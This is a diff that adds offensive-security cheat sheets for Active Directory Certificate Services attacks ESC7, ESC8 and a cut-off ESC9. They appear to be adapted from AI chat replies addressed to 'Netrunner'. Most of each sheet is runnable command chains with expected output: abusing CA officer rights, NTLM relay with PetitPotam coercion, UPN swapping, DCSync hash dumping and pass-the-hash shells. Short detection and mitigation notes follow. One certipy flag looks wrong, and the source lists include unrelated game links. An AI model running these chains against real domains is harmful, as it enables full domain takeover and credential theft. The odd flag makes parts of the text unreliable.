'SubCA' on 'DOMAIN-CA-NAME' +``` + +> ⚠️ The `SubCA` template is admin-enroll only by default. When you enable it with your `ManageCA` right, you still technically can't enroll in it as a low-priv user — **but the next steps work around this deliberately**. + +*** + +### Step 3 — Request a Certificate (Expect a Denial) + +You deliberately request a cert from `SubCA` as `Administrator`. The CA will reject it because you're low-priv. This is **intentional** — the rejection creates a pending request ID you can use in the next step: + +```bash +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template SubCA \ + -upn 'administrator@domain.htb' +``` + +**Expected output:** +``` +[*] Requesting certificate via RPC +[-] Got error: The RPCSS is unavailable. / Access Denied +[*] Request ID is 37 ← NOTE THIS NUMBER — you need it +[-] Would-be issued certificate will be stored in 'administrator.pfx' +``` + +> 💡 The request **will fail with Access Denied** — this is expected and correct. What matters is the **Request ID** printed in the output. Note it down. + +*** + +### Step 4 — Issue the Denied Request Yourself + +Now use your newly acquired `ManageCertificates` / officer rights to **approve and issue** your own denied request: + +```bash +certipy-ad ca \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -issue-request 37 # ← Use the Request ID from Step 3 +``` + +**Expected output:** +``` +[*] Successfully issued certificate +``` + +*** + +### Step 5 — Retrieve the Issued Certificate + +Now pull the approved certificate down: + +```bash +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -retrieve 37 # ← Same Request ID + +# Output: administrator.pfx +``` + +**Expected output:** +``` +[*] Successfully retrieved certificate +[*] Got certificate with UPN 'administrator@domain.htb' +[*] Certificate has no object SID +[*] Saving certificate and private key to 'administrator.pfx' +``` + +*** + +### Step 6 — Authenticate + +```bash +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET + +# Output: administrator.ccache + NT hash +``` + +*** + +### Step 7 — Shell + +```bash +# Kerberos TGT +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.domain.htb +evil-winrm -i DC01.domain.htb -r domain.htb + +# Pass-the-Hash +evil-winrm -i $TARGET -u administrator -H <NTHASH> +psexec.py administrator@$TARGET -hashes :NTHASH +``` + +*** + +## Full Attack Chain — Windows (PSPKI + Certify.exe + Rubeus) + +```powershell +# ── Step 1: Install PSPKI module if not present ────────────────────────────── +Install-Module -Name PSPKI + +# ── Step 2: Enable SubCA Template using ManageCA right ─────────────────────── +Import-Module PSPKI +Get-CertificationAuthority -ComputerName DC01.domain.local | ` + Get-CATemplate | ` + Add-CATemplate -DisplayName "SubCA" | ` + Set-CATemplate + +# ── Step 3: Request cert (will be denied — note the Request ID) ────────────── +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:SubCA /altname:administrator +# Note: This will fail — grab the Request ID from the output + +# ── Step 4: Issue the denied request ───────────────────────────────────────── +# Using PSPKI to approve the pending request +$CA = Get-CertificationAuthority -ComputerName DC01.domain.local +$CA | Get-PendingRequest -RequestID 37 | Approve-CertificateRequest + +# ── Step 5: Retrieve the issued cert ───────────────────────────────────────── +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /retrieve:37 +openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx + +# ── Step 6: Authenticate with Rubeus ───────────────────────────────────────── +.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap +.\Rubeus.exe createnetonly /program:powershell.exe /show +.\Rubeus.exe ptt /ticket:<base64ticket> +``` + +*** + +## ESC7 Visual Attack Flow + +``` +[lowpriv has ManageCA on DOMAIN-CA] + │ + │ certipy ca -add-officer lowpriv + ▼ +[lowpriv now has ManageCertificates] + │ + │ certipy ca -enable-template SubCA + ▼ +[SubCA template enabled] + │ + │ certipy req -template SubCA -upn administrator@domain.htb + ▼ +[Request DENIED — but Request ID 37 created] + │ + │ certipy ca -issue-request 37 + ▼ +[Request manually approved by lowpriv as officer] + │ + │ certipy req -retrieve 37 + ▼ +[administrator.pfx retrieved] + │ + │ certipy auth -pfx administrator.pfx + ▼ +[TGT + NT Hash for Administrator] +``` + +*** + +## Alternative ESC7 Path — ManageCA Only (Enable ESC6) + +If you only have `ManageCA` and don't want to go through the SubCA route, you can use your `ManageCA` right to **flip the ESC6 flag on the CA** — turning every Client Auth template into an ESC1 vector instantly: + +```bash +# Enable EDITF_ATTRIBUTESUBJECTALTNAME2 via ManageCA +certipy-ad ca \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -enable-telemetry # ← Certipy flag to enable SAN on CA + +# Then exploit exactly like ESC6 — request from any Client Auth template +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'User' \ + -upn 'administrator@domain.htb' +``` + +> 💡 This is what Tarlogic documented in their real Red Team engagement — they used `ManageCA` to enable the SAN flag CA-wide, then used the `User` template exactly like an ESC6 attack. ESC7 and ESC6 are deeply linked — **ESC7 is often the path that enables ESC6**. + +*** + +## ESC6 vs ESC7 — The Relationship + +| | ESC6 | ESC7 | +|---|---|---| +| **Root cause** | `EDITF_ATTRIBUTESUBJECTALTNAME2` already set | Low-priv user holds `ManageCA` / `ManageCertificates` | +| **Attack type** | Exploit an existing CA misconfiguration | **Create** a CA misconfiguration (or approve your own requests) | +| **Main tool** | `certipy req -upn` | `certipy ca` subcommand | +| **Templates needed** | Any Client Auth template | `SubCA` (or any template after enabling ESC6 flag) | +| **Post-patch ESC6 issue** | May be blocked | Still works — approval bypass is independent of SAN enforcement | +| **Can combine?** | ✅ | ✅ ESC7 ManageCA → enable ESC6 flag → exploit as ESC6 | + +*** + +## OPSEC Considerations + +| Action | Log Generated | Noise Level | +|--------|--------------|-------------| +| CA ACL query | LDAP query | 🟢 Low | +| Add yourself as officer | CA audit log + 5136 | 🔴 High | +| Enable SubCA template | CA configuration change | 🔴 High | +| Submit pending cert request | Event ID 4886 (request) | 🟡 Medium | +| Approve own request | Event ID 4887 + CA manager approval log | 🔴 High | + +> ⚠️ ESC7 is the **second noisiest** ADCS attack after ESC4. The officer promotion and request approval generate significant CA audit logs. Always clean up. + +*** + +## Clean-Up Commands + +```bash +# Remove yourself as officer (run after completing the attack) +certipy-ad ca \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -remove-officer lowpriv + +# Disable the SubCA template if you enabled it +certipy-ad ca \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -disable-template SubCA +``` + +*** + +## PSPKI Module Alternative (Windows) + +```powershell +# Install PSPKI module +Install-Module -Name PSPKI -Force + +# List CA permissions +Get-CertificationAuthority | Get-CertificationAuthorityAcl | + Format-List Identity, AccessRules + +# Submit and approve certificate (if you have ManageCertificates) +$ca = Get-CertificationAuthority -ComputerName CA-SERVER +$req = Submit-CertificateRequest -CA $ca -Path .\request.req +Approve-CertificateRequest -CA $ca -RequestID $req.RequestID +``` + +*** + +## Detection Indicators + +- **Event ID 4899** — A certificate template was changed (SubCA enabled) +- **Event ID 4890** — The certificate manager settings for Certificate Services changed (officer added) +- **Event ID 4887** — Certificate issued where requester ≠ subject +- **Event ID 4882** — The security permissions for Certificate Services changed — specifically watch for non-admin accounts appearing in `ManageCA` or `ManageCertificates` ACEs +- Alert on **any non-PKI-admin account** appearing in `ManageCA` ACL — this should be a zero-tolerance finding + +*** + +## Mitigation + +- **Audit CA DACLs** — `ManageCA` and `ManageCertificates` should only be granted to dedicated PKI admin accounts, never to `Domain Users`, `Authenticated Users`, or service accounts without need +- **Disable `SubCA` template** if it is not in active business use — it serves no purpose in most environments and is a high-risk template +- **Separate PKI admin duties** — The person managing certificates should not be the same account used for day-to-day domain activity +- **Alert on CA configuration changes** — Monitor Event ID 4890 and 4899 continuously; legitimate CA configuration changes are rare and should always be change-controlled + +*** + +Ready for **ESC8** when you say go, Netrunner. + +Sources + ADCS ESC7 - Vulnerable Certificate Authority Access Control https://www.hackingarticles.in/adcs-esc7-vulnerable-certificate-authority-access-control/ + Active Directory Certificate Attack: ESC7 https://www.rbtsec.com/blog/active-directory-certificate-attack-esc7/ + AD CS: weaponizing the ESC7 attack | BlackArrow - Tarlogic https://www.tarlogic.com/blog/ad-cs-esc7-attack/ + redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf + Certipy Deep Dive — Escalating via AD CS with ESC4–ESC7 https://www.youtube.com/watch?v=rEstm6e3Lek + Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt2/ + Netrunning for Dummies in Night CIty | World Anvil https://www.worldanvil.com/w/night-city-mindlessorca/a/netrunning-for-dummies-article + How does netrunning work in combat zone? : r/cyberpunkcombatzone https://www.reddit.com/r/cyberpunkcombatzone/comments/1dc9poz/how_does_netrunning_work_in_combat_zone/ + ADCS Attack Paths in BloodHound — Part 2 - Blog - SpecterOps https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547 + Programs Explained in Netrunning | Cyberpunk Red in a Nutshell #7 https://www.youtube.com/watch?v=YJKvOr9VEIU + AD CS ESC1 Certificate Exploitation Guide | PDF - Scribd https://www.scribd.com/document/921992856/ESC1 + ADCS Security: All 16 ESC Attacks Guide - Helpdesk Hero https://help-desk-hero.com/article/adcs-security-complete-guide-detecting-preventing-esc-attacks + How does netrunning work in cyberpunk? - Facebook https://www.facebook.com/groups/340493143310905/posts/1887224115304459/ + How to Exploit ADCS Certificate Attacks with Certipy and Metasploit https://www.linkedin.com/posts/muskan-sen_adcs-esc3-enrollment-agent-template-activity-7373926392394125312-Y4SZ + Abusing Active Directory Certificate Services (ADCS) | ESC8 Attack ... https://www.youtube.com/watch?v=pVezmVSCJGk + Netrunner - Cyberpunk Wiki - Fandom https://cyberpunk.fandom.com/wiki/Netrunner + AD CS Security: Understanding and Exploiting ESC Techniques https://www.buaq.net/go-365639.html diff --git a/src/content/sheets/active-directory/esc8-ntlm-relay-to-adcs-http-web-enrollment.md b/src/content/sheets/active-directory/esc8-ntlm-relay-to-adcs-http-web-enrollment.md @@ -0,0 +1,373 @@ +--- +title: "ESC8 — NTLM Relay to ADCS HTTP Web Enrollment" +description: "ESC8 is a network-level NTLM relay attack against the ADCS Web Enrollment HTTP interface. Every ESC attack up to this point required you to already have…" +category: active-directory +tags: ["active-directory", "adcs", "credential-access", "ntlm", "relay"] +tools: ["Impacket", "Mimikatz", "Rubeus", "Certipy", "Evil-WinRM"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC8 — NTLM Relay to ADCS HTTP Web Enrollment.md" +--- +# ESC8 — NTLM Relay to ADCS HTTP Web Enrollment + +## What Is ESC8? + +ESC8 is a **network-level NTLM relay attack** against the ADCS Web Enrollment HTTP interface. Every ESC attack up to this point required you to already have domain credentials and be abusing template or CA misconfigurations. ESC8 is fundamentally different — you **intercept or coerce an authentication attempt from a privileged machine** (like a Domain Controller), relay those NTLM credentials to the CA's web enrollment endpoint, and trick the CA into issuing a certificate for that high-privilege machine account. + +The result: you get a certificate for `DC01$` (the DC's machine account). With that certificate you can retrieve the DC's NT hash via PKINIT, then perform a **DCSync** — full domain compromise without ever knowing a single password. + +This attack combines **three techniques** into one chain: +1. **Coercion** — Force a privileged machine to authenticate to you +2. **NTLM Relay** — Relay those credentials to the CA web enrollment endpoint +3. **Certificate Abuse** — Use the issued cert to authenticate as the coerced machine + +*** + +## Required Conditions + +| Condition | Where to Check | +|-----------|----------------| +| **Web Enrollment is enabled** on CA | CA output: `Web Enrollment: Enabled` | +| HTTP (not HTTPS only) endpoint accessible | `http://<CA>/certsrv/` responds | +| **Extended Protection for Authentication (EPA) disabled** | Default IIS config — not enabled by default | +| **Request Disposition: Issue** | CA output: `Request Disposition: Issue` | +| At least one template allowing **Machine/Computer authentication** | `DomainController`, `Machine`, `Computer` templates | +| NTLM not blocked on the network | SMB signing may be relevant for coercion path | + +*** + +## Step 0 — Enumeration + +```bash +# Standard certipy scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# With hash +certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \ + -dc-ip $TARGET -vulnerable -stdout + +# Check if web enrollment HTTP endpoint is alive +curl -k http://<CA-IP>/certsrv/ +# If it returns an IIS/Windows auth page = vulnerable +``` + +### What Vulnerable ESC8 Output Looks Like + +``` +Certificate Authorities + 0 + CA Name : DOMAIN-CA + DNS Name : DC01.domain.htb + Web Enrollment + HTTP + Enabled : True ← ⚠️ KEY FLAG + HTTPS + Enabled : False + User Specified SAN : Disabled + Request Disposition : Issue ← No manual approval + Enforce Encryption for Requests : Disabled + + [!] Vulnerabilities + ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue +``` + +> 💡 If you see `HTTP Enabled: False` and `HTTPS Enabled: False` (like your Fluffy box showed for `fluffy-DC01-CA`), then ESC8 is **not available** — the web enrollment endpoint is off. This is why Fluffy needed ESC16 instead. + +*** + +## Understanding the Attack Topology + +Before running commands, understand what is happening on the network: + +``` +[YOUR ATTACK BOX] [DOMAIN CONTROLLER] [CA / ADCS SERVER] + │ │ │ + │ 1. Set up relay │ │ + │ ntlmrelayx listening │ │ + │ │ │ + │ 2. Coerce DC auth │ │ + │ PetitPotam/PrintSpooler │ │ + │─────────────────────────►│ │ + │ │ NTLM Auth triggered │ + │◄─────────────────────────│ │ + │ 3. Relay NTLM to CA │ │ + │─────────────────────────────────────────────────────►│ + │ │ CA issues DC01$.pfx │ + │◄─────────────────────────────────────────────────────│ + │ 4. Authenticate as DC01$ │ + │ certipy auth -pfx dc01.pfx │ + │─────────────────────────►│ │ + │ 5. DCSync (dump all hashes) │ + │─────────────────────────►│ │ +``` + +*** + +## Full Attack Chain — Linux (Certipy + ntlmrelayx + PetitPotam) + +### Step 1 — Set Up the NTLM Relay Listener + +Open **Terminal 1** — this stays running throughout: + +```bash +# Relay to the CA's web enrollment endpoint +# -t = target (CA web enrollment URL) +# --adcs = tells ntlmrelayx to request a certificate +# --template = which template to request (DomainController for DC machine accounts) + +impacket-ntlmrelayx \ + -t http://<CA-IP>/certsrv/certfnsh.asp \ + -smb2support \ + --adcs \ + --template 'DomainController' + +# If the CA is on the same host as the DC: +impacket-ntlmrelayx \ + -t http://DC01.domain.htb/certsrv/certfnsh.asp \ + -smb2support \ + --adcs \ + --template 'DomainController' +``` + +> 💡 `--template DomainController` is specifically for coercing DCs. If you're targeting a regular machine account use `--template Machine`. If targeting a user account use `--template User`. + +*** + +### Step 2 — Coerce Authentication from the Domain Controller + +Open **Terminal 2** — trigger the DC to authenticate to you. + +**Method A — PetitPotam (most reliable, CVE-2021-36942 / MS-EFSRPC):** +```bash +# Unauthenticated version (pre-patch) +python3 PetitPotam.py <YOUR-IP> <DC-IP> + +# Authenticated version (post-patch, still works if you have creds) +python3 PetitPotam.py \ + -u 'lowpriv' \ + -p 'Password123!' \ + -d 'domain.htb' \ + <YOUR-IP> <DC-IP> +``` + +**Method B — PrinterBug / SpoolSample (Print Spooler abuse):** +```bash +python3 printerbug.py 'domain.htb/lowpriv:Password123!'@<DC-IP> <YOUR-IP> +``` + +**Method C — DFSCoerce (MS-DFSNM):** +```bash +python3 dfscoerce.py -u 'lowpriv' -p 'Password123!' -d 'domain.htb' <YOUR-IP> <DC-IP> +``` + +**Method D — Certipy's built-in relay (newer versions):** +```bash +# Certipy v5+ has integrated relay support +certipy-ad relay -ca <CA-IP> -template DomainController +# Then coerce separately with PetitPotam +``` + +*** + +### Step 3 — Collect the Certificate (Watch Terminal 1) + +After coercion, watch Terminal 1 (ntlmrelayx) output: + +``` +[*] SMBD-Thread-4: Connection from DC01$@<DC-IP> controlled, attacking target http://<CA-IP> +[*] HTTP server returned error code 200, treating as a successful login +[*] Authenticating against http://<CA-IP> as DOMAIN/DC01$ SUCCEED +[*] ADCS: Getting certificate... +[*] ADCS: Got certificate with UPN 'DC01$@domain.htb' +[*] ADCS: Saved certificate and private key to 'DC01$.pfx' ← ⚠️ This is your weapon +``` + +> 💡 The file will be named after the machine account — typically `DC01$.pfx`. The `$` suffix denotes a machine account. + +*** + +### Step 4 — Authenticate as the DC Machine Account + +```bash +certipy-ad auth \ + -pfx 'DC01$.pfx' \ + -username 'DC01$' \ + -domain domain.htb \ + -dc-ip $TARGET +``` + +**Expected output:** +``` +[*] Using principal: 'DC01$@domain.htb' +[*] Trying to get TGT... +[*] Got TGT +[*] Saving credential cache to 'DC01$.ccache' +[*] Trying to retrieve NT hash for 'DC01$' +[*] Got hash for 'DC01$@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH +``` + +*** + +### Step 5 — DCSync (Dump All Domain Hashes) + +With the DC machine account's TGT or hash, you have **replication rights** — meaning you can perform a DCSync to pull every single hash in the domain: + +```bash +# Using the TGT +export KRB5CCNAME='DC01$.ccache' +secretsdump.py -k -no-pass DC01.domain.htb + +# Using the NT hash directly +secretsdump.py \ + -hashes :NTHASH \ + 'domain.htb/DC01$'@DC01.domain.htb + +# Output includes ALL domain hashes: +# Administrator:500:aad3b435b51404eeaad3b435b51404ee:8da83a3... +# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:KRBTGT_HASH... +# All user NT hashes... +``` + +*** + +### Step 6 — Pass-the-Hash as Administrator + +```bash +# With Administrator's NT hash from DCSync +evil-winrm -i $TARGET -u administrator -H <ADMIN_NTHASH> +wmiexec.py administrator@$TARGET -hashes :ADMIN_NTHASH +psexec.py administrator@$TARGET -hashes :ADMIN_NTHASH +``` + +*** + +## Full Attack Chain — Windows (Rubeus + ntlmrelayx) + +```powershell +# This attack is primarily Linux-based due to tooling +# On Windows, you would need: + +# Step 1: Use Inveigh for relay (PowerShell NTLM relay) +Import-Module .\Inveigh.ps1 +Invoke-InveighRelay -ConsoleOutput Y -StatusOutput N -Target http://<CA-IP>/certsrv/certfnsh.asp + +# Step 2: Coerce via PrinterBug from Windows +.\SpoolSample.exe <DC-IP> <YOUR-IP> + +# Step 3: Convert base64 cert from Inveigh output +# Import and use with Rubeus +.\Rubeus.exe asktgt /user:DC01$ /certificate:<base64cert> /getcredentials /nowrap + +# Step 4: DCSync +.\Mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv" exit +``` + +*** + +## ESC8 Visual Attack Flow + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ PREREQUISITE CHECK │ +│ certipy find → Web Enrollment: Enabled + Disposition: Issue │ +└─────────────────────────────────────────────────────────────────┘ + │ + ┌────────────────▼────────────────┐ + │ Terminal 1: ntlmrelayx │ + │ -t http://<CA>/certsrv/... │ + │ --adcs --template DomainController│ + │ LISTENING... │ + └────────────────┬────────────────┘ + │ + ┌────────────────▼────────────────┐ + │ Terminal 2: PetitPotam/coerce │ + │ Force DC01$ → auth to YOUR-IP │ + └────────────────┬────────────────┘ + │ + ┌────────────────▼────────────────┐ + │ ntlmrelayx relays to CA HTTP │ + │ CA issues DC01$.pfx │ + └────────────────┬────────────────┘ + │ + ┌────────────────▼────────────────┐ + │ certipy auth -pfx DC01$.pfx │ + │ → TGT + NT hash for DC01$ │ + └────────────────┬────────────────┘ + │ + ┌────────────────▼────────────────┐ + │ secretsdump DCSync │ + │ → ALL domain hashes │ + └────────────────┬────────────────┘ + │ + [DOMAIN OWNED] +``` + +*** + +## ESC8 vs All Previous ESCs + +| | ESC1–4 | ESC6–7 | **ESC8** | +|---|---|---|---| +| **Requires domain creds to start** | ✅ | ✅ | ⚠️ May not need (unauthenticated coercion) | +| **Attack surface** | Certificate Templates | CA configuration | **Network / HTTP** | +| **Key tool** | `certipy req` | `certipy ca` | **ntlmrelayx + PetitPotam** | +| **What you steal** | Certificate for a user | Certificate for a user | **Certificate for a machine account** | +| **Post-exploitation** | PTH / TGT | PTH / TGT | **DCSync → full domain** | +| **Noisiness** | Medium | Medium | **High — network coercion is loud** | + +*** + +## Troubleshooting Common Issues + +| Error | Cause | Fix | +|-------|-------|-----| +| `ntlmrelayx` gets connection but CA returns 401 | EPA enforced on IIS | Confirm with `curl -v http://<CA>/certsrv/` — if NTLM is listed but fails, EPA may be on | +| PetitPotam fails | DC patched for unauthenticated EFS | Use authenticated version with `-u/-p`, or switch to PrinterBug/DFSCoerce | +| Got cert but `certipy auth` fails | Template mismatch — got cert for wrong account type | Verify cert UPN with `certipy cert -pfx DC01$.pfx` | +| `certsrv` URL not reachable | Web enrollment not on port 80 or CA is different host | Try HTTPS port 443, or confirm CA hostname from certipy find output | +| Relay times out | DC coercion succeeded but DC can't reach your IP | Check firewall rules — DC must be able to reach YOUR-IP on TCP 445 and 80 | + +*** + +## Detection Indicators + +- **Event ID 4768/4769** — Kerberos TGT requested for a machine account from an unusual source IP +- **Event ID 4887** — Certificate issued for a machine account via web enrollment +- **IIS logs on CA** — `POST /certsrv/certfnsh.asp` requests from IP addresses that are not the machine account's own IP — the relay source IP will differ from the machine account's actual IP +- **Net logon anomalies** — A DC machine account authenticating to an unexpected host +- **Sysmon Event ID 3** — Network connection from `lsass.exe` to an unusual target + +*** + +## Mitigation + +- **Enforce HTTPS** on the Web Enrollment endpoint and disable HTTP entirely +- **Enable Extended Protection for Authentication (EPA)** on IIS for the `certsrv` application — this binds NTLM auth to the TLS channel, breaking the relay +- **Disable Web Enrollment** entirely if not needed — most orgs can use RPC-based enrollment instead +- **Block NTLM** where possible — or enforce **SMB signing** on all machines to prevent coercion-based relay +- **Patch CVE-2021-36942** — removes unauthenticated PetitPotam coercion +- **Restrict which templates machine accounts can enroll in** via CA enrollment agent restrictions + +*** + +Ready for **ESC11** whenever you say go, Netrunner. + +Sources + Enumerating Ad Cs And... https://www.linkedin.com/pulse/esc8-attack-exploiting-adcs-domain-dominance-krishnendu-de-ijaqc + ADCS ESC8 – NTLM Relay to AD CS HTTP Endpoints https://www.hackingarticles.in/adcs-esc8-ntlm-relay-to-ad-cs-http-endpoints/ + ESC8 is a critical vulnerability in Active Directory Certificate Services https://anantis.io/esc8/ + ESC8 Attack Guide for Windows Environments - Sentry Blog https://blog.sentry.security/esc8-attack-guide-for-windows-environments-2/ + redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf + Active Directory Certificate Attack: ESC8 - ADCS https://www.rbtsec.com/blog/active-directory-certificate-attack-esc8-adcs-web-enrollment/ + Closing the ESC8 Vulnerability in Active Directory Certificate Services https://www.avertium.com/blog/escalation-8-how-to-close-a-commonly-exploited-active-directory-certificate-services-elevation-of-privilege-vulnerability + Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt2/ + How Certificates became AD's Biggest Attack Surfaces https://silverbackcyber.io/2026/02/23/adc-active-directorys-biggest-attack-surfaces/ + AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/ + Understanding Active Directory Certificate Services: A Focus on ... https://trustfoundry.net/2024/08/19/understanding-active-directory-certificate-services-a-focus-on-esc1-and-esc8/ + Abusing Active Directory Certificate Services (ADCS) | ESC8 Attack ... https://www.youtube.com/watch?v=pVezmVSCJGk + ESC8 exploits misconfigured Active Directory Certificate Services ... https://www.linkedin.com/posts/hendryadrian_activedirectory-ntlmrelay-activity-7335272144282468352-XXnH + ADCS ESC8 Tutorial | Attack Active Directory Certificate Services https://www.youtube.com/watch?v=QUTXge-9lRo + Mitigating ESC1 and ESC8 Vulnerability in Active Directory https://www.encryptionconsulting.com/mitigating-esc1-and-esc8-vulnerability-in-active-directory/ + Exploiting Active Directory Certificate Services (ADCS) Using Only ... https://www.youtube.com/watch?v=FhJpfWZ6NQA + Silver Ticket https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc8 diff --git a/src/content/sheets/active-directory/esc9-no-security-extension-template-level.md b/src/content/sheets/active-directory/esc9-no-security-extension-template-level.md @@ -0,0 +1,495 @@ +--- +title: "ESC9 — No Security Extension (Template-Level)" +description: "ESC9 is the template-level version of ESC16. Where ESC16 disabled the szOID_NTDS_CA_SECURITY_EXT SID extension globally across every certificate on the…" +category: active-directory +tags: ["active-directory", "adcs"] +tools: ["NetExec", "Impacket", "Rubeus", "Certipy", "BloodHound"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC9 — No Security Extension (Template-Level).md" +--- +# ESC9 — No Security Extension (Template-Level) + +> **Note:** ESC15 (EKUwu / CVE-2024-49019) now has its own standalone file — see ESC15 — EKUwu (CVE-2024-49019). + +## What Is ESC9? + +ESC9 is the **template-level version of ESC16**. Where ESC16 disabled the `szOID_NTDS_CA_SECURITY_EXT` SID extension **globally across every certificate on the CA**, ESC9 disables it on a **per-template basis** using the flag `CT_FLAG_NO_SECURITY_EXTENSION` (`0x80000`) in the template's `msPKI-Enrollment-Flag` attribute. The impact is identical — certificates issued from that template carry no objectSid binding — but it's scoped to one template rather than the entire CA. + +The attack chain is also nearly identical to ESC16 — you need `GenericWrite` over an account with enrollment rights, temporarily swap its UPN, request a cert, restore the UPN — but here you're targeting a **specific misconfigured template** rather than relying on a CA-wide flag. + +ESC9 has **two distinct variants**: + +| Variant | What Gets Swapped | Target Identity Field | +|---------|------------------|-----------------------| +| **ESC9a** | `userPrincipalName` (UPN) | UPN SAN in cert | +| **ESC9b** | `dNSHostName` | DNS SAN in cert | + +ESC9a targets **user account impersonation**, ESC9b targets **machine account impersonation** — same logical split as ESC16 vs Certifried. + +*** + +## Required Conditions + +| Condition | Notes | +|-----------|-------| +| Template has `CT_FLAG_NO_SECURITY_EXTENSION` flag set | `msPKI-Enrollment-Flag` contains `0x80000` | +| Template has **Client Authentication EKU** | `Client Authentication: True` | +| `StrongCertificateBindingEnforcement` set to **0 or 1** on DCs | Not `2` — which would block UPN-based mapping | +| Attacker has **`GenericWrite`** over an account with enrollment rights | BloodHound ACE edge | +| That account can enroll in the vulnerable template | Enrollment Rights includes the account | + +> ⚠️ `StrongCertificateBindingEnforcement = 2` **blocks ESC9** — the DC enforces SID binding. If you see value `2`, ESC9 is not exploitable. This is why ESC16 is more dangerous — it operates at the CA level, bypassing KDC enforcement entirely. + +*** + +## Step 0 — Enumeration + +```bash +# Standard vulnerable scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# Check StrongCertificateBindingEnforcement on DC +netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \ + -x 'reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement' +# 0 or 1 = ESC9 works +# 2 = ESC9 blocked +``` + +### What Vulnerable ESC9 Output Looks Like + +``` +Certificate Templates + Template Name : ESC9-Template + Enabled : True + Client Authentication : True + Enrollee Supplies Subject : False + Extended Key Usage : Client Authentication + Requires Manager Approval : False + Authorized Signatures Required : 0 + Enrollment Flag : NO_SECURITY_EXTENSION ← ⚠️ KEY FLAG + Permissions + Enrollment Rights : DOMAIN\Domain Users + +[!] Vulnerabilities + ESC9 : 'DOMAIN\Domain Users' can enroll, template has + CT_FLAG_NO_SECURITY_EXTENSION and no SID extension will be included +``` + +> 💡 The critical tell is `NO_SECURITY_EXTENSION` in the `Enrollment Flag` field — this is `CT_FLAG_NO_SECURITY_EXTENSION` (`0x80000`). + +*** + +## ESC9a Full Attack Chain — Linux (UPN Swap) + +This is functionally identical to the ESC16 chain from the Fluffy walkthrough — just targeting a specific template. + +### Step 1 — Identify Controlled Account + Note Current UPN +```bash +# Find your GenericWrite target +certipy-ad account \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -user 'targetuser' \ + lookup + +# Note the current UPN e.g. targetuser@domain.htb — needed for restoration +``` + +### Step 2 — Swap UPN to Target Identity +```bash +certipy-ad account \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -user 'targetuser' \ + -upn 'administrator' \ + update + +# [*] Successfully updated 'targetuser' with 'userPrincipalName' = 'administrator' +``` + +### Step 3 — Request Cert from ESC9 Template +```bash +certipy-ad req \ + -u 'targetuser@domain.htb' \ + -p 'TargetPassword!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'ESC9-Template' + +# [*] Got certificate with UPN 'administrator' +# [*] Saving certificate and private key to 'administrator.pfx' +``` + +### Step 4 — IMMEDIATELY Restore UPN +```bash +certipy-ad account \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -user 'targetuser' \ + -upn 'targetuser@domain.htb' \ + update +``` + +### Step 5 — Authenticate +```bash +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET + +# Output: administrator.ccache + NT hash +``` + +### Step 6 — Shell +```bash +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.domain.htb +evil-winrm -i $TARGET -u administrator -H 